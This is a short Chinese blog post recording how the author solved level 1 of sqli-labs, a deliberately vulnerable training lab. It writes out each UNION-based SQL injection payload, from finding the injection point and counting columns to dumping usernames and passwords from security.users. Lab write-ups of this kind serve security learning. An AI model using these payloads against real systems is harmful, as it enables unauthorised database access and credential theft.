标签:union order labs sqli select --+ 第一关 id 输入
sqli-labs通关记录
1.判断是否可以注入
输入?id=1
输入?id=2
由此可以判断出可以进行注入
2.判断什么类型的注入
输入?id=1'
输入?id=1' --+
可以看出第一次输入结果出现错误,第二次输入页面回显正常,说明是单引号字符型注入
3. 判断数据列数
输入?id=1' order by 1 --+
输入?id=1' order by 2 --+
输入?id=1' order by 3 --+
输入?id=1' order by 4 --+
当到4时发生错误,说明他只有三列数据
4.判断显示位
输入?id=555' union select 1,2,3 --+
可以看出仅有两个显示位
5.对数据库进行爆破,查询所需信息
输入?id=-1' union select 1,version(),database() --+
查询到数据库的版本和命名
输入?id=-1' union select 1,2,group_concat(username)from security.users--+
查询到用户名
输入?id=-1' union select 1,2,group_concat(password)from security.users--+
标签:union,order,labs,sqli,select,--+,第一关,id,输入 来源: https://www.cnblogs.com/wuyiluan/p/16651790.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。